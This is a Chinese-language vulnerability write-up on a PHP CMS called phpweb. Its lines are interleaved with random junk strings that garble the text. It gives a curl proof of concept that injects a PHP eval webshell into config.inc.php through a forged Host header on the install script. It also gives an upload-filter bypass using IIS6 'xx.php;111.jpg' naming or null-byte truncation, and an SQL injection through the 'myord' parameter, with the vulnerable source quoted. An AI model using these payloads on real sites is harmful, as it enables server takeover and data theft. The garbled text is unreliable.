注入:7 O! l# m' S0 Q3 U6 z! b) V0 e$ D
$ s9 x6 [- ^- x7 ^8 M之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
5 u+ N- A, T3 F
' K& O! a% D: E3 j' g( y鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件% e2 }. @' |9 k- W0 E2 s5 C
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
% T# Z* }4 N0 x4 C$ {; I( }8 ?) R& q % v5 d( J: \# T @
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
0 O0 W/ l8 {' |! ]( \, F ' K) x! l( s+ u9 S; n8 d
分析:
3 [5 C3 z! u* K: R/ f' l% b8 { 2 m* w& \; ~, i" k' I& ?7 H
$ p) s0 e& M( U0 v+ l( I$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤 o/ [8 @* x+ Y0 K9 A
# E4 p: I# H" v; \+ p9 ]1 r $filestr = fread(fopen($SysConfigFile, 'r'),30000);
3 y( Z; @& q+ Y9 r7 ] $filestr=str_replace(" ","",$filestr);) U2 B0 j/ z, N* J1 O5 V
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
% E0 Y% M- {# N! E9 s6 ` $filestr=str_replace("DefaultDbName",$dbname,$filestr);
% z8 J# w" v1 W, c. j, L$ F* ]3 j! i $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
: J3 p: ?* r# i7 i4 h1 ?2 L $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);: G6 H' [0 a, A4 C. C
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);: N% s1 b. J/ V/ Y& m4 ?
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);1 P. `$ f- t# `$ n" O% y
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);, \% k: ?$ e$ u
8 w- ]( q( B# O fwrite(fopen($ConFile,"w"),$filestr,30000);2 r2 `8 F+ j5 o* ?) j& }8 s
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^" D5 {. `8 z i+ g$ m
3 y9 `- z) A- U6 O& I$ W: v7 F
poc:. d0 ?7 ]: K# ?1 T
4 |3 v( [2 Q4 Q" o?2 b' v- F; ]0 J% h/ a7 w
16 `( y3 Z n: Q% h
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"+ z: g* \* S8 w8 p! Z
shell地址: /config.inc.php1 T0 C( v7 v b+ V; M& W
跟之前的 phpcms一样 需要远程数据库; U8 I% _! q- @9 m( b2 F
- x( d7 B7 P& { W" E9 `
——————————————————–, ~( V# f8 @9 Y5 w/ X6 |$ V
上传漏洞(需要进后台):" [+ F2 l& z. q, t
漏洞文件: /kedit/upload_cgi/upload.php" _- E; o7 _: N, J; P% n- J- {
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用$ e! l. _" h0 U
- V: u7 r) k+ ]5 J0 g
, P. M" k5 R; u! s s, y5 d* g$ U
<?php
2 B- ]9 _; Q) i$ k( a define("ROOTPATH", "../../");3 C' Q, Y l7 w. w
include(ROOTPATH."includes/admin.inc.php");, `1 g5 C& U2 F' S/ \& N$ a
NeedAuth(0);
2 a; O% y% W; G: B& r( z
$ P8 m( [* _* ~1 K $dt=date("Ymd",time());. A" W1 g" W. G/ o0 W9 H
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
# I0 r5 {& q- W; ^' e3 e. t4 a: } @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 i6 ^7 {5 ~& Z- I' [# @ }
! H5 c4 p7 U$ c. h" _4 z
) z+ p$ ]0 Q1 }# J3 m: }' G6 A& c //文件保存目录路径% }& |6 {6 _- F; r8 z0 [
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
9 k# Z( N5 q. g) K! \9 U! U1 t echo $save_path;
5 `; [4 o$ N- I! Q+ F2 W //文件保存目录URL% {8 @% \; K: J$ g0 s- N' F
$save_url = '../../'.$_POST['attachPath'].$dt.'/';" p1 X' d, ^# }
& G, ]5 c" A5 T6 k" r
//定义允许上传的文件扩展名
4 ~) H/ G1 G6 w( P $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
6 Q" |2 y% E- x, `3 D3 L- B
' s! O! {' c9 m% O+ p //最大文件大小9 P( J, \% t3 x: n% f; F( ]7 I
$max_size = 1000000;4 P k% |% K8 p: |& G; X
# q' p7 L% d' x8 @9 N& w
//更改目录权限2 r' ~% l1 U+ F: m
@mkdir($save_path, 0777);
! {# X6 e$ @1 a3 s U' \
, `( m8 n. ~8 D6 t //文件的全部路径
* n0 R+ w$ S( m I" P: { $file_path = $save_path.$_POST['fileName']; //保存文件名: ]5 h7 D9 @ _- D
/ z# R) G Q2 _6 I: g
//文件URL
( i/ G* T9 ^5 X( _- J $file_url = $save_url.$_POST['fileName'];, ?! B0 b2 L1 o* U" ]+ |
//有上传文件时* J5 m7 m# O5 r9 n3 f; ^9 f
if (empty($_FILES) === false) {
3 `4 K3 ^. v6 V% x) Q, m8 `
0 V9 F( \2 n5 Q, C$ u //原文件名
+ p* O: k' K& a) n2 I) b $file_name = $_FILES['fileData']['name'];# ]# e% [1 V5 T, B. D2 i) `) n
//服务器上临时文件名" h. e5 h& v' q3 S4 Z
$tmp_name = $_FILES['fileData']['tmp_name'];4 S& b$ k/ }6 s
//文件大小
0 C+ p: Z6 E( p& E, s% e. g. A% D $file_size = $_FILES['fileData']['size'];
/ B( v! h" J4 m( D* G1 L! p9 a //检查目录, r4 U9 |/ \% L; h( Q1 j' F4 {$ c
if (@is_dir($save_path) === false) {) X1 m6 ]9 N5 Q3 S' g' ^
alert("上传目录不存在。");
0 L( [ l7 n5 i2 F! p; v5 Q/ a" f }) b. ^" e, _! C( r& V, U7 [' `
//检查目录写权限
; o s% V- g& L7 V! j0 I. M% a% U' H if (@is_writable($save_path) === false) {; \5 T- i, C. W) L7 o& ]! J
alert("上传目录没有写权限。");
$ O5 N% _) g( r$ j2 \ }. L/ f/ D# l# p
//检查是否已上传7 a" u1 P2 c+ ^
if (@is_uploaded_file($tmp_name) === false) {! }2 Y- k. R; D7 l
alert("临时文件可能不是上传文件。");4 s0 {) N7 H, A6 N( C( }+ E. Y, L
}
! y: S6 _: g3 \" d: k6 M8 q //检查文件大小$ o6 I0 ?8 X( Q% z7 [. `7 D
if ($file_size > $max_size) {
6 P, n+ g$ m1 Z7 { alert("上传文件大小超过限制。");4 V/ T1 }9 B: L
}
" X3 e2 g: G# m4 u+ s+ e //获得文件扩展名2 C, H9 d+ r5 E
$temp_arr = explode(".", $_POST['fileName']);
3 r5 k( H. M2 w- Y" v7 R7 R0 o6 H/ S $file_ext = array_pop($temp_arr);* O" M2 y" p; Y+ [8 |
$file_ext = trim($file_ext); `7 g/ O1 Y3 G) p) i9 K
$file_ext = strtolower($file_ext);6 n* z5 a1 ]. r I7 t9 ~
/ [2 K9 ~ }- S" N- X4 b3 O7 S //检查扩展名 Y/ o( S$ C) ?+ F0 s
if (in_array($file_ext, $ext_arr) === false) {
4 f- f- }2 D4 L5 S alert("上传文件扩展名是不允许的扩展名。");
/ e% O/ x: ~7 O* V6 ` }' o8 V& f5 R$ C, [- W. M
) A. M& f6 ^% o$ _$ I8 _
//移动文件 : H0 s: k7 k) F2 H6 c
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
! k* H, e1 o. u- u% Q7 { if (move_uploaded_file($tmp_name, $file_path) === false) {
6 P# p, @$ m( u9 S* o, } alert("上传文件失败。");& _" k/ t) O3 `3 ^0 Z7 f& u5 i
}9 C" A% f; D! g# x- Q! s5 m: p
) u7 F* s% E T _" v' i/ v @chmod($file_path,0666);
' U9 _: {6 U2 a8 n5 Y : j0 y; e# E# k! }) a5 j, r ~" u$ F
?>
- C% I$ T" e8 ]; V) w/ y抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227 x. n+ X0 c0 C, X, x
; {/ u+ p: S& R; J7 japache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
4 S$ k( W( L) d1 m . R' \- y5 R0 X8 Z* x! u
——————————————————+ c' ?$ `7 E# q U7 q
注入漏洞:/ I9 o( C% B, G* G6 `: t
漏洞文件:search/module/search.php
4 k: {, r9 o' W; x' v: }/search/index.php?key=1&myord=1 [sqlinjection]& r% B% h) W7 w- U; g8 f
& `0 F$ ~) M1 V( S% E9 k) B( |
% @/ t l* b1 ^" o; G0 h
<?php
B! G' Y: n+ |1 S' l // ... 省略 n 行...2 i: }4 a/ y5 m
//第18行:6 j. G7 I. t; [( t3 S s q
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响- m% w0 c) ]5 u
$page=htmlspecialchars($_GET["page"]);
B2 s" g4 @2 K2 b# @' m $myord=htmlspecialchars($_GET["myord"]);! X3 R0 B, ^3 A+ Z) h
( W) a$ `) T2 m4 Y% P- G
// ... 省略 n 行...$ c/ @, q: O- R0 J
$key,$myord 两个参数带入查询! c4 A/ m+ p; k% b7 ^" i
//第47行 $key:' b) k' e4 x" ]* |
$ E2 a6 h" J' F" D8 G
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..) ?1 o' {- w5 s( r/ D
3 d8 Y# f2 b+ Q# U- f: ^8 P' y
//第197行 $myord* L/ n; ^. k, s/ b4 y5 Q2 g; ?
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入' {, M7 R6 j9 F9 P' b: c; `9 ]
% y! ~7 U% C+ W9 L ?>1 X+ g; U3 d7 k' |( ~* u- r0 J# u
|